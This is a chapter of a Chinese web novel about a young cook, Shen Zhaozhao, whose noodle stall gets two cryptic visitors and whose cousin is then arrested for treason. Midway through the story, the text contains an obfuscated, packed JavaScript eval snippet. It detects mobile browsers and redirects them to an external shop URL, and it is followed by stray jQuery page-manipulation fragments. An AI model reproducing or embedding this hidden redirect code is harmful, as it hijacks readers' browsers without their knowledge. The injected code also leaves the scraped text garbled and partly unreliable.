37. 江湖故人

作品:《我在古代做漂亮饭

    除了同行,没有食客会在乎餐馆老板亏不亏本!


    寻常食客若是感觉自己占了便宜,哪儿敢多说话,早背地里偷着乐呢。


    可这两人,似乎一点顾忌也没有?


    女子和青年议论的声音不大不小,却好像就是专程说给沈昭昭听的,字字句句直往她耳朵里钻。


    他们不会也绑了系统吧?这想法一出,沈昭昭感觉她的脑袋要炸开了!


    她在灶台和餐桌之间来回穿梭,装着招呼后来的客人,眼珠却不停乱瞟,不知该往哪儿看。


    察觉到沈昭昭的窘迫,女子轻笑一声,挑起一箸面条送入口中。


    “面做得倒好,挑不出毛病。胡椒加得如此克制……呵,太守规矩了,无趣。”


    男子用筷子夹起一箸肉酱,放鼻下轻轻一闻,丹凤眼似有若无地瞄向沈昭昭的方向,“肉酱的食材鲜,怪不得如此好吃。我猜,这肉割下来不过一个时辰。老板,了不得~”


    感受到那股玩味的目光,一股寒意攀上了沈昭昭的后脊,这锅肉酱确实是她刚从食材库里取的原料。


    他们不是只吃了一口吗,怎么把肉酱面的门道都说透了?


    “哦,我想起来了。之前倒是有个这么做的。”女子垂眼吃面,笑容更盛。


    “不过,我记得他好像已经死了。”


    青年面上没反应,仿佛那女子只说了一句再普通不过的话。他也自顾自道:“确实做得太规矩了。这配方,只能是家传。而且,这不是原版,肯定被懂行的人改过许多次。”


    这都是什么人啊?!对她的家传手艺指指点点!


    沈昭昭壮起胆子,装了碟小菜就向那桌走去,她要问问两人的来路。


    就算谈不来,这两人只是来吃她一碗面,能将她怎得?


    “这是本店免费的小菜,招待不周之处,还请包涵。”沈昭昭将腌萝卜、辣白菜放到两人面前。


    她倒要看看,当着她的面,那两人还敢不敢如此直白。


    青年促狭地看着沈昭昭,“姑娘,你可是面摊的老板?”


    沈昭昭点点头,“刚刚听了一耳朵两位对肉酱面的高见,可否请二位指点一二?”


    “老板坐啊,”青年语气熟稔地邀请沈昭昭入座,“正好无事,闲聊几句。”


    “老板有这好手艺不开个铺子提提价?”女子却不再提刚才的话头,只问:“一碗面作价多少,三十文?”


    “十文。”沈昭昭答,她才发现刚刚两人都没有问过价钱。


    “啊?哈哈……平安村是这物价?”青年尬笑两声,又对女子道,“你怎么口中都是生意?十文的话那碗面太完美了,谁敢挑毛病我和他急!”


    女子不接茬,只面无表情地看向沈昭昭:“你这是在亏钱。收了摊来京都,我给你找正经大店做工。”


    “小本生意,成本没那么高,还算撑得住。”沈昭昭说得诚恳,“谢姑娘好意,眼下我只想顾好摊子的每个食客。毕竟守着自己的摊子,更自在些。”


    “话说得倒是漂亮,天下哪有不爱钱的。你真不如和这位姑娘去京都,我也是怕你倒闭!”青年奇怪地看了一眼沈昭昭,又道:“说句不好听的,老板别介意。账上没钱的生意,就像你们村那破庙似的,一把火烧过来,说没就没。”


    听到沈昭昭拒绝,女子说话也刻薄了些:“对,没人拜的庙,和你这个不赚钱的面摊一样,留着也没用!”


    青年将目光投向后山方向,“我虽是个外人,倒觉得这庙该重修,没个土地护着哪能行!”


    “公子是要出钱修庙?”沈昭昭嘴上应承,心中却暗暗吐槽。


    这庙是不是就是你俩烧的,操这闲心?


    青年的语气忽然变得有些捉摸不透:“积德行善是要做的,都是图个心安。人总该有个地方寄托念想。”


    “重修庙宇,钱是小事儿,但更该想想,它为何而毁,之后又要供奉谁、庇护谁?”


    他又对女子挑衅一笑:“姑娘,你说是不是这个理?”


    “出了钱,想供谁就供谁。神仙要收香火也要各凭本事。”女子将筷子一放,冷冷地看了青年一眼。


    “你这手艺在这个破村子,浪费了。”女子硬邦邦给沈昭昭留了句话,拿出十文放在桌上。


    她迅速起身,解开系在树上的缰绳,上马离去。


    “老板,再会。”青年也不再多言,留下钱晃悠悠离开了。


    转眼间,桌上只剩下沈昭昭一人。她看着桌上的空碗,和散落的二十文钱,半天回不过神儿来。


    过了许久,她才站起来,一边收拾桌子,一边回忆着两人云里雾里的谈话。


    “昭昭啊,不好了!”


    一个熟悉的声音从远处传来。


    沈昭昭抬头一看,原来是已离开的温敬德又急急忙忙地折返回面摊。


    她迎上两步,心头有一种不详的预感。


    她从未见过温夫子如此失态。


    “学堂出事儿了?”她赶忙问道。


    “沈三七他……”


    “三七怎么了?!”


    “哎,上午还好好的,那小子还走神傻笑呢。”窦景成站定,胸口起伏两下,才把气顺过来,“下午县衙里来人,把沈三七抓去了!”


    “衙役还让我给你带句话,别花心思去救你表哥,这事儿不归县里管。总之,不牵扯到你就是最好的结果。”


    “还有,你与窦县令的约定照常……”


    听到后面,沈昭昭已经没心思再听温敬德絮絮叨叨了。


    她心里火烧火燎的,只想立刻赶到姜白芷家去。


    两家明明离得很近,此时却如同隔了千里。


    沈昭昭脑子乱成了一团麻,不禁翻来覆去地琢磨,沈三七到底惹了什么人。


    沈三七平时为人低调,也不曾和谁发生过冲突。


    想来想去,嫌疑最大的人无非就两个:窦景成和孙队正。


    孙队正不过是朱运温手下的一个兵头,哪来这么大权力?况且征兵的事情已经过去许久,他人都该去到江南了,不该在这时来翻旧账。


    窦景成应是嫌疑最大的。他是县令,衙役也是他派去的,如何能不知情?


    最让她揪心的是,沈三七的肩膀才被房梁砸伤过。牢里的腌臜手段一上来,他如何能受得住?


    心慌,脚下步子也凌乱。沈昭昭几乎是扶着墙进了姜白芷的宅院。


    “白芷,帮我备马车!”沈昭昭眼中因怒意而泛红,非要去县衙找窦景成讨个说法,“刚欺负完我,还敢打沈三七的主意?”


    她的人,凭什么说带走就带走?


    姜白芷和锦娘好劝歹劝,可算劝下了,拽着沈昭昭先进屋里说清。


    姜白芷先出言安抚:“昭昭,这事儿咱一起捋捋。之前按你的想法,姜家已经答应让朱运温的人往上参窦景成了。若真把他拉下马,之后朱运温也会派人过来接替桃源县令的位置。”


    沈昭昭讷讷点头。


    锦娘顺势问:“官差抓人,总会有个由头,他们可说什么了?”


    “听温夫子说是,叛国罪……”沈昭昭绝望地闭上了眼睛,靠在椅背上。


    叛国?!


    这个通天的罪名,吓得姜白芷和锦娘说不出话来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983246|190886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “今日割一城,明日割十城。无凭无据就抓人,还有没有王法?”沈昭昭猛地一拍桌子,震得茶杯里的水溅了一桌,“说沈三七叛国,我真不信!”


    他在危险中从未放弃过她,她又怎么可能将他丢下不管?


    “就算救不出来,我得去试试!”


    姜白芷绞着帕子,咬紧了下唇:“我们也不信三七会做这种事。可是叛国是诛九族的重罪,窦景成一个小官判不下来,必要向上递折子的。”


    “你先别急,流程走不了这么快,三七现在估计还在县衙押着。他若定了罪,咱几个也脱不了干系,所以我们定是要帮的。”


    姜白芷继续对锦娘说:“你立刻再去趟京都告诉姜家,直接去找窦景成上头的官,最好能将折子拦下来。”


    “这次得给他们上上压力。你就说姜家现在不出手,日后可别想掺合进桃源县了。”


    锦娘凝重点头,“太后那边我也去打探打听情况,若三七救不出来,咱三个的命也得保住!”


    “那我现在能做什么……”沈昭昭恍惚喃喃道,“难道还要管和窦景成的狗屁赌约?”


    “你别让窦景成起疑心,这很重要。”姜白芷严肃道,“而且和魏聪的比试你尽量要赢。咱的计划不是一定能成,若你真去了县衙做工,就是彻底被窦景成拿住了。”


    “我现在就去京都。别的事你一概别问,也别掺和,有我和白芷顶着。立刻回厨房去,好好准备你的菜!”


    锦娘说完,拎起沈昭昭的衣领就塞进了小厨房。


    沈昭昭有些魂不守舍地站在小厨房门口。


    青禾和大师傅一眼就瞧出她不对劲,两人连忙放下手里的活计围上来。


    “好徒弟,谁惹你了?”


    沈昭昭没敢提沈三七被抓的事,只含糊说是她是因为和魏聪的比试烦心。


    大师傅闻言哦了一声,不屑道:“我当时谁呢?魏聪那小子不也是从天香阁出来的,和青禾算同门呢。”


    “天香阁,是很出名的馆子吗?”沈昭昭倒是常听见这个餐馆的名号,但之前她一直没有细问。


    大师傅被徒儿的天真弄得哭笑不得:“京都第一,你说呢?”


    怪不得?!沈昭昭这才明白了天香阁的地位。


    “青禾师父,你在天香阁可见过魏聪?”沈昭昭强打起精神,想多收集一些关于对手的信息。


    青禾回:“这名字听起来有些耳熟,可能打过照面。他应该只是外门弟子,天香阁的人来来去去,店里少说也有上百位师傅,我哪里能个个都认得全。”


    她顿了顿,又补充道:“天香阁挑人素来严格,你也别大意,外门弟子说不准也有绝活儿。”


    “这么说,天香阁还有内门弟子?”沈昭昭追问。


    “那是自然。”青禾点头,“内门弟子只服务权贵,大多是阁主亲自从全国各地寻访来的名厨。只有小部分是从外门弟子里掐尖升上去的。”


    想不到一个餐馆能做到如此等级森严!


    沈昭昭有些沮丧,之前她没把这场比试放在心上,眼下却不得不重视起来了。魏聪的来头,比她想的要复杂。


    对上青禾关切的目光,沈昭昭又恢复了几分自信。她可是有师傅撑腰的!


    “魏聪可有拿手菜色?”


    大师傅道:“那小子做佛跳墙挺有名的。”


    沈昭昭心里咯噔一下。


    她原本还想着,用意式八宝布袋鸡去应战。可就这么巧,这两道菜的思路撞了……


    真要比起花样和用料,佛跳墙可是罕逢对手。


    她得换菜!